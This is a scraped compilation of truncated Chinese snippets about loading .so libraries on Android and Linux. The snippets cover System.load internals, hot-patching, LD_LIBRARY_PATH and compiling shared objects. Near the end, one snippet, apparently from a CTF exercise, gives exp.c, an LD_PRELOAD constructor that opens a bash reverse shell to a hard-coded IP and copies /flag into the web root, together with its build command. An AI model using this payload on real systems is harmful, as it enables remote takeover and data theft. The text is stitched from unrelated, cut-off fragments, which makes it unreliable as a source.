1.2 Java动态库加载 对于android上层的Java代码来说,将以上方法都做好封装,只需要一行代码就即可完成动态库的加载过程: System.load("/data/local/tmp/libgityuan_jni.so...会先以一个Linux的例子描述native层加载动态链接库的过程, 再从Java层由浅入深分析System.loadLibrary 首先我们知道在Android(Java)中加载一个动态链接库非常简单...# Linux 系统加载动态库过程分析 Android是基于Linux系统的,那么在Linux系统下是如何加载动态链接库的呢?...上面就是Linux环境下创建动态库,加载并使用动态库的全部过程。 由于Android基于Linux系统,所以我们有理由猜测Android系统底层也是通过这种方式加载并使用动态库的。...我们一般使用JNI_VERSION_1_4即可 Android动态库的加载与Linux一致使用dlopen系列函数,通过动态库的句柄和函数名称来调用动态库的函数
在实现android插件化过程中,在插件代码中加载so时出现了一些问题,因此特地研究了一下android系统中加载so的过程,记录下来,整理成文。...在android系统中,加载so一般会调用System.loadLibrary(name)或者是System.load(path),这两个函数都可以用来加载so文件,区别在于System.loadLibrary...这两个函数本质上都是一样的,只是搜索so的搜索目录略有差别。下面以System.loadLibrary函数为例来分析加载so的实现原理。...的真正的文件路径;2:调用nativeLoad函数去实现真正的so加载;这里会牵扯到一个问题,如何通过so的名称去ClassLoader拿到so真正的文件路径?...so(findSharedLibEntry),如果已经加载过了,那么直接返回即可;如果没有加载,那么重新加载一遍,加载的过程可以用下面的流程来描述:调用dlopen() 打开一个so文件,取得该so的文件句柄
其中,一个大的第三方so文件,经常会让人头痛。那么,能否动态加载.so文件呢?答案是可以的。...原理 我们知道,如果我们在工程中引入一个so文件,当我们用gradle编译打包时,gradle会将我们jniLibs中的so文件,打到APK包中的lib文件夹下。具体可以参考我的上篇博客。...然后我们安装APK时,系统会将APK包lib文件夹中的so文件拷贝到APP的私有目录下。...具体来说就是: /data/user/0/[包名]/app_libs/ 所以,我们可以将想要加载的so文件,在程序运行时,拷贝到APP的私有目录的对应位置中,然后使用 System.load(......); 加载我们需要的so文件。
Linux程序运行找不到动态库.so文件的三种解决办法 方法一:添加环境变量 子招数1. 添加当前用户当前终端的环境变量-临时 export LD_LIBRARY_PATH=/home/czd/......#.so file path 子招数2....#.so file path 使其生效, source ~/.bashrc 如不能生效,请重启 子招数3....#.so file path 使其生效 source /etc/profile 如不能生效,请重启 方法二:复制so文件到lib路径 linux系统的so库一般存储与“/usr/lib/”路径中,可将动态库复制到该路径中...sudo cp liblibtest.so /usr/lib/ 即时生效 方法三:(推荐)添加ldconfig寻找路径 步骤1. 编辑链接配置文件 vim /etc/ld.so.conf 步骤2.
二、动态加载so 随着项目业务越来越多,对APK 体积大小要求尽可能的瘦身,通常可以考虑采用在线加载的方式减少最终 apk 安装包的大小。...优图实验室有如下特殊加载要求(6.8商业版已经优化了这里,祥见《LiteAVSDK商业版6.6+,安卓集成动态加载so》)。...image.png 1、这三个so库必需要在本地加载。 image.png 2、这些so库需要按照如下顺序动态加载。...解决办法就是:先把一个32位的so文件打进安装包,其它so库在运行时动态加载,这样App启动的是32位进程,动态加载的so库也是32位版本,运行时就不再闪退。...五、资源 相关文章: LiteAVSDK商业版6.6+,安卓集成动态加载so 动态加载so库的实现方法与问题处理 Android 的 so 文件加载机制提问源码总结参考资料 demo下载
so加载到底有什么特殊性。...唯一可能的问题,就是先加载了旧的so,之后下载新的so进行了热更新。 我们先看下微视中是否有这种现象。要观察这种现象,我们可以打开linker自身的调试开关,开启so加载的日志。...加载过程: [6e193664b0c3bd7_mh1542192899167.jpg] 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。...更近一步,我们自己写个demo测试下刚才的问题(2个按钮,一个加载指定so,一个调用so中的native方法): [图片14.png] 代码不能再简单了: [图片15.png] 正常加载so然后执行native...; 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。
唯一可能的问题,就是先加载了旧的so,之后下载新的so进行了热更新。 我们先看下微视中是否有这种现象。要观察这种现象,我们可以打开linker自身的调试开关,开启so加载的日志。...那么,我们重新复现问题,可以看到如下so加载过程: ? 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。 这个过程有什么问题呢?...正常加载so然后执行native方法都是ok的,使用rm+mv替换或者adb push替换也都是ok的,最后再按照错误的方法操作,步骤为: 1. 启动app,点击加载so; 2. ...如果so有升级,先不加载旧的so,等新的so下载完成之后再加载; 2. 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。...%E4%B8%8Bcp%EF%BC%8Cmv%E8%BF%9B%E8%A1%8C%E5%8A%A8%E6%80%81%E5%BA%93%E8%A6%86%E7%9B%96%E9%97%AE%E9%A2%
PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/mysql.so' - libmysqlclient.so.16:...on line 0 ldconfig -v | grep mysql ls -lhrnt /usr/lib64/mysql echo /usr/lib64/mysql >> /etc/ld.so.conf
linux中共享库以so为后缀(shared object),与Windows下的DLL类似,是在程序运行时动态连接。多个进程可以连接同一个共享库。...以下以编译mylib.c为例讲如何编译.so文件。 首先,编译mylib.c: $gcc -c -fPIC -o mylib.o mylib.c -c表示只编译(compile),而不连接。...生成共享库: $gcc -shared -o mylib.so mylib.o 库文件以lib开始。共享库文件以.so为后缀。-shared表示生成一个共享库。...总结 以上所述是小编给大家介绍的linux中把.c的文件编译成.so文件,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对ZaLou.Cn网站的支持!
C++库反汇难度较大;可以方便地使用C/C++开源库;便于移植,用C/C++写的库可以方便在其他平台上再次使用;提供程序在某些特定情形下的执行效率,但是并不能明显提升Android程序的性能)。...要使用ndk进行编程,在Java层就必须要对so进行加载。...Java层加载so的函数有两个: System.load(String pathName) System.loadLibraray(String libName) 两个函数的区别就是load函数的参数是...return nativeLoad(name, loader, ldLibraryPath); } } 获得libbrary的路径; 调用native函数nativeLoad()进行加载加载...第二件事情:调用LoadNativeLibrary进行加载。
这个方法是在 so 被加载的时候调用的。今天主要从so 的加载看一下 JNI_OnLoad 的调用。...Flutter的so加载 我们先从 Application 的代码看起: FlutterApplication.onCreate; |--FlutterMain.startInitialization(...加载。...so的加载 AndroidP源码: System.loadLibrary(libName); |--Runtime.loadLibrary0(libName,classLoader); |--|--|-...被加载之后会调用 JNI_OnLoad 方法,我们这次反过来看一下 JNI_OnLoad 加载 native 方法。
作者:张文波 导语 : 在一些混编系统中,我们使用Java成熟的网络/调度框架编写框架代码,使用C++编写适用于计算密集型的so,通过Java函数System.load进行全局静态的so加载/卸载。...那我们如何实现Java框架中的so动态加载呢? 一、C++如何实现so动态加载 C++框架实现so的动态加载比较简单,通过dlopen得到加载的so的句柄(void *),dlsym获得函数地址。...跟进os::dll_load(),有三个不同实现分别对应三个平台os_linux, os_windows, os_solaris,这里只看os_linux.cpp // ... void * os::dll_load...到这里恍然,dlopen(filename, RTLD_LAZY)即是linux下Java System.load的最终实现,其实跟C++加载动态链接库是一样的。...ProxySo是一个非常轻量级的so,实现简单并且实测下来,性能跟直接通过C++加载so无明显差异。
本系列 Tinker 源码解析基于 Tinker v1.9.12 校验so补丁流程 与加载资源补丁类似,加载so补丁也要先从校验开始看起。...//tinker//patch-641e634c/lib String libraryPath = directory + "/" + SO_PATH + "/"; HashMap<String, String...so补丁流程 加载so补丁的入口:TinkerLoadLibrary.loadArmLibrary / TinkerLoadLibrary.loadArmV7Library ,区别就是前者用来加载 armeabi...如果匹配上了,就说明要加载的就是这个 so 文件,调用 System.load ,传入文件路径即可。...所以从 Tinker v1.7.7 之后,提供了一键反射的方案来加载 so 补丁文件。
/lib/ld-linux.so.2以及它的64位版本/lib64/ld-linux-x86-64.so.2虽然看起来是共享库文件,但实际上他们可以独立运行。他们的功能是负责动态加载。...它们通过读取可执行文件的头部信息来确定哪些库文件是必须的,以及哪些需要加载。加载完成后,它会通过修正执行文件里的相关的地址指针来和加载的库文件完成动态链接,此时程序就可以运行了。
下面的内容大多都是连接中的,穿插我自己的笔记 牵扯到ELF格式,gcc编译选项待补,简单实用的说明一下,对Linux下的so文件有个实际性的认识。 1.so文件是什么?...下面的还没细看,汗 4.库的初始化,解析: windows下的动态库加载,卸载都会有初始化函数以及卸载函数来完成库的初始化以及资源回收,linux当然也可以实现。...如果s.c中的sleep(5)没有注释掉,那么有机会: ./e& ./e&连续执行两次,那么初始化函数和解析函数也会执行两次,虽然系统只加载了一次libs.so。...文件:得到libb.so gcc -fPIC -g -c b.c -o libb.o gcc -g -shared -Wl,-soname,libb.so -o libb.so -lc 修改.../ts 关键就在LD_PRELOAD上了,这个路径指定的so将在所有的so之前加载,并且符号会覆盖后面加载的so文件中的符号。如果可执行文件的权限不合适(SID),这个变量会被忽略。 执行:.
apk 安装目录下; System.load(String pathName) :参数为 so 库在磁盘中完整的路径,可以加载自定义外部 so 库文件; 使用第三方库ReLinker,有so加载成功、...但是采取常规load方式,改动有点大,底层jar包,第三库不好改加载路径。 在应用启动的时,一次注入本地so路径path,待程序使用过程中so准备后安全加载。(原因后面分析,我们先看下实践) 一....正常加载so使用 有兴趣可以直接查看开源代码:https://github.com/AnyMarvel/ManPinAPP 核心类,修改nativeLibraryDirectories列表,加载需要的so...Android 的 so 文件加载机制 从System.loadlibrary() 方法分析so文件的加载流程,如下图所示: [jufml8v3gw.png?...总结: 到此处,那么so文件的动态加载(也可以叫做So文件的热修复)已经介绍完了,起始还是比较简单的,只是修改了so文件列表的数组映射,加载了需要使用的真实的so文件.
但是采取常规load方式,改动有点大,底层jar包,第三库不好改加载路径。 在应用启动的时,一次注入本地so路径path,待程序使用过程中so准备后安全加载。(原因后面分析,我们先看下实践) 一....正常加载so使用 有兴趣可以直接查看开源代码:https://github.com/AnyMarvel/ManPinAPP 核心类,修改nativeLibraryDirectories列表,加载需要的so...Android 的 so 文件加载机制 从System.loadlibrary() 方法分析so文件的加载流程,如下图所示: ?...(nativeLibraryDirectories存储了so文件加载的映射表,这里相当于修改了应用加载so的列表) 61 /** List of native library directories...总结: 到此处,那么so文件的动态加载(也可以叫做So文件的热修复)已经介绍完了,其实还是比较简单的,只是修改了so文件列表的数组映射,加载了需要使用的真实的so文件.
我想对于静态加载 so 库文件,大家都已经很熟悉了,这里就不多说了。...在 Android 开发中调用动态库文件(*.so)都是通过 jni 的方式,而静态加载往往是在 apk 或 jar 包中调用so文件时,都要将对应 so 文件打包进 apk 或 jar 包。...动态加载的优点 静态加载,不灵活,apk 包有可能大。所以采用动态加载 so 库文件,有以下几点好处: 灵活,so 文件可以动态加载,不是绑定死的,修改方便,so 库有问题,我们可以动态更新。...so 库文件很大的话,采用动态加载可以减少 apk 的包,变小。 其实我们常用第三方 so 库,单个可能没问题,如果多个第三方 so 库文件,同时加载可能会出现冲突,而动态加载就能够解决这一问题。...注意路径陷阱 动态加载 so 库文件,并不是说可以把文件随便存放到某个 sdcard 文件目录下,这样做既不安全,系统也加载不了。
常用的so文件c源码 exp.c #include #include __attribute__ ((constructor)) void call () {...unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18.../4444 <&1'"); system("cat /flag > /var/www/html/flag"); } gcc exp.c -fPIC -shared -o exp.so iconv.c...-shared -fPIC -o iconv.so hack.c #include #include int main(){ system("bash...return 0; } gcc hack.c -o hack.so
简介 Linux环境下c++代码打包成so Linux环境下so库的使用 这里还是使用我们之前的Socket示例的代码: ?...content.png socketLib项目打包so文件 这里我们主要看Makefile文件 libmysocket.so : XTcp.cpp XThread.h XTcp.h g++ -...fPIC -shared -lpthread -o $@ $+ -std=c++0x .PHONY : clean clean : -rm libmysocket.so -fPIC参数...so文件的命名规则是lib+定义的文件名+.so。 sockUseLib 项目如何使用so 先说明两个项目都在/code目录下。...这里有几个方法: 临时修改环境变量 只对当前的shell有效 export LD_LIBRARY_PATH=/code/socketLib 关于LD_LIBRARY_PATH可参考Linux环境变量
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